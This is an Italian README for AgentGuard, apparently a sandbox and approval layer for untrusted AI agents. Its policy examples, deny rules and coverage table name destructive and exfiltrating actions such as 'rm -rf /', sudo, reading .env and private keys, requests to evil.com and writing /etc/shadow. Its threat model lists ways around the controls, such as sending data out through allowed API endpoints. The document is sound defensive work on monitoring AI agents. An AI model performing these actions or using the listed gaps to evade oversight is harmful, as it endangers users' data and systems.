
Sandbox a fiducia zero per agenti AI con jail del filesystem a livello kernel, proxy di rete trasparente e motore di policy basato su YAML per intercettare e controllare comandi shell, operazioni su file e richieste di rete.
Sandbox a fiducia zero per agenti AI autonomi.
AgentGuard avvolge qualsiasi agente AI (LangChain, CrewAI, AutoGen, script personalizzati) con binari di sicurezza. Con un solo cambiamento di comando:
# Before (dangerous — agent has full system access)
python my_agent.py
# After (sandboxed)
agentguard run -- python my_agent.py
AgentGuard intercetta ogni comando shell, modifica di file e richiesta di rete che l'agente effettua. Le azioni sicure vengono automaticamente consentite, quelle pericolose bloccate, e tutto il resto richiede l'approvazione umana.
AgentGuard ha quattro livelli di difesa che lavorano insieme:
┌─────────────────────────────────────────────────────────────┐
│ Layer 0: Jail del Filesystem (sandbox-exec su macOS) │
│ Applicazione a livello kernel. Limita le scritture su file │
│ e la rete a livello di syscall. L'agente non può bypassare │
│ dallo userspace. Blocca open() di Python, requests.post() │
│ ecc. │
├─────────────────────────────────────────────────────────────┤
│ Layer 1: Proxy di Rete │
│ Proxy HTTP/HTTPS trasparente. Ogni chiamata di rete │
│ dell'agente viene verificata rispetto alla policy. Consenti│
│ /Nega per destinazione con piena visibilità nella TUI. │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: Shim di PATH │
│ Shim di script shell che intercettano comandi come git, │
│ pip, curl, rm. Ogni shim chiede al demone l'autorizzazione │
│ prima di eseguire il vero binario. │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: Motore di Policy + Demone di Approvazione │
│ Regole basate su YAML valutano ogni azione intercettata. │
│ Consenti automaticamente comandi sicuri, blocca │
│ automaticamente quelli pericolosi, chiedi all'umano per │
│ tutto il resto. │
└─────────────────────────────────────────────────────────────┘
Nessun singolo layer è il confine di sicurezza. Lavorano insieme — difesa in profondità.
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
Entrambi i binari devono essere nella stessa directory.
agentguard init
Questo crea .agentguard/policy.yaml nella directory corrente. Modificalo per adattarlo alle tue esigenze.
agentguard run -- python my_agent.py
La TUI prende il controllo del terminale e mostra:
Per strumenti interattivi come Claude Code che necessitano del terminale:
agentguard run --headless -- claude
L'agente ottiene il terminale direttamente. AgentGuard viene eseguito silenziosamente in background. Tutti gli eventi vengono registrati in ~/.agentguard/logs/headless.log. Monitora in un altro terminale:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <command> [args...]
--policy <path> Use a specific policy file
--headless No TUI — agent gets the terminal
--default-allow Auto-allow PROMPT decisions in headless mode (default: auto-deny)
--no-sandbox Disable sandbox-exec (shims and proxy still active)
agentguard init Create a default policy file
agentguard version Print version
Le policy sono file YAML che definiscono cosa l'agente può e non può fare. AgentGuard controlla tre posizioni (in ordine):
./.agentguard/policy.yaml (progetto locale)~/.agentguard/policy.yaml (utente globale)version: 1
deny:
# Block dangerous commands
- command: "rm"
args: "-rf *"
reason: "Recursive forced deletion is too dangerous"
- command: "sudo"
args: "*"
reason: "Privilege escalation is not allowed"
- command: "chmod"
args: "777 *"
reason: "World-writable permissions are dangerous"
# Block reading sensitive files (enforced by sandbox-exec)
- file:
path: "*.env"
action: "read"
reason: "Don't let agent read .env files"
- file:
path: "*.pem"
action: "read"
reason: "Don't let agent read private keys"
allow:
# Safe read-only commands
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# Read-only git
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# Allow writes to workspace
- file:
path: "/tmp/workspace/**"
action: "write"
# Allow specific API endpoints
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *) — controllate per terze. Agisce come una negazione predefinita.Regole di comando — corrispondono a comandi shell per nome e pattern degli argomenti:
- command: "git"
args: "push *"
reason: "Pushing requires approval"
Regole di file — corrispondono a operazioni su file (applicate da sandbox-exec):
- file:
path: "*.env"
action: "read" # "read" or "write"
reason: "Protect secrets"
Regole di rete — corrispondono a destinazioni di rete (applicate da proxy + sandbox-exec):
- network:
destination: "api.anthropic.com:443"
Usa * come carattere jolly in argomenti comandi, percorsi file e destinazioni di rete.
| Tasto | Azione | Quando |
|---|---|---|
Y | Consenti la richiesta in sospeso | Richiesta di approvazione visibile |
N | Nega la richiesta in sospeso | Richiesta di approvazione visibile |
A | Consenti + ricordi per questa sessione ("Consenti Sempre") | Richiesta di approvazione visibile |
B | Nega + ricordi per questa sessione ("Blocca per Sempre") | Richiesta di approvazione visibile |
Tab | Attiva/disattiva pannello stdout/stderr dell'agente | Sempre |
Su/Giù | Scorri il flusso di attività | Sempre |
Q | Esci (termina l'agente) | Sempre |
| Azione dell'agente | Shim | Proxy | sandbox-exec |
|---|---|---|---|
subprocess.run(["rm", "-rf", "/"]) | Yes | - | - |
subprocess.run(["git", "push"]) | Yes | - | - |
requests.post("https://evil.com") | - | Yes | Yes |
urllib.request.urlopen("https://api.com") | - | Yes | Yes |
open(".env", "r") | - | - | Yes |
open("/etc/shadow", "w") | - | - | Yes |
/usr/bin/curl https://evil.com (percorso assoluto) | - | Yes | Yes |
agentguard/
├── cmd/
│ ├── agentguard/ # Main CLI binary
│ └── agentguard-check/ # Shim helper binary
├── internal/
│ ├── policy/ # Policy engine (YAML parsing, rule evaluation)
│ ├── events/ # Event system (JSONL audit log, pub/sub)
│ ├── daemon/ # Central daemon (Unix socket, approval queue)
│ │ └── client/ # Client library for shims
│ ├── shim/ # Shim generator (PATH-based interception)
│ ├── proxy/ # Transparent network proxy
│ ├── spawner/ # Orchestration + macOS sandbox integration
│ └── ui/tui/ # Terminal UI (Bubble Tea)
├── configs/
│ └── default_policy.yaml # Reference policy file
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
| Componente | Pacchetto | Scopo |
|---|---|---|
| Motore di Policy | internal/policy | Analizza regole YAML, valuta richieste → CONSENTI / NEGA / RICHIEDI |
| Sistema di Eventi | internal/events | Log di audit JSONL in sola aggiunta + pub/sub in tempo reale per TUI |
| Demone | internal/daemon | Server socket Unix, coda di approvazione con timeout, gestione sessione |
| TUI | internal/ui/tui | Interfaccia terminale Bubble Tea con flusso di attività e modale di approvazione |
| Generatore di Shim | internal/shim | Genera shim di script shell, risolve percorsi binari reali |
| Proxy di Rete | internal/proxy | Proxy HTTP/HTTPS trasparente che applica policy per destinazione |
| Spawner | internal/spawner | Orchestra tutto: policy → demone → shim → proxy → sandbox → agente → TUI |
| Sandbox macOS | internal/spawner/jail_darwin.go | sandbox-exec con profili Seatbelt per l'applicazione a livello kernel |
Ogni azione intercettata viene registrata in ~/.agentguard/logs/YYYY-MM-DD.jsonl:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
Interroga con strumenti standard:
# All denied actions today
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# All network requests
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# Commands that required human approval
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
| Piattaforma | Shim | Proxy | sandbox-exec | Negazione lettura file |
|---|---|---|---|---|
| macOS (Apple Silicon) | Yes | Yes | Yes | Yes |
| macOS (Intel) | Yes | Yes | Yes | Yes |
| Linux | Yes | Yes | No (futuro: namespaces + seccomp) | No |
| Windows | Yes | Yes | No (futuro: Job Objects) | No |
Modello di minaccia: L'agente non è attendibile. Potrebbe provare a:
rm -rf /, sudo).env, chiavi private)Cosa previene AgentGuard:
.env, .pem, ecc.)filepath.CleanCosa NON previene AgentGuard (limitazioni note):
ctypes/cffi (anche sandbox-exec le blocca su macOS)api.anthropic.com, l'agente può inviare dati lì)go test ./... -race
Il progetto ha oltre 140 test che coprono:
jail_darwin.go — macOS sandbox-exec (compilato solo su macOS)jail_noop.go — modalità di fallback solo shim (compilata su Linux/Windows)sandbox_monitor_darwin.go — tailing del log di sistema macOS per violazioni della sandboxsandbox_monitor_noop.go — no-op su piattaforme non macOSVedi LICENSE.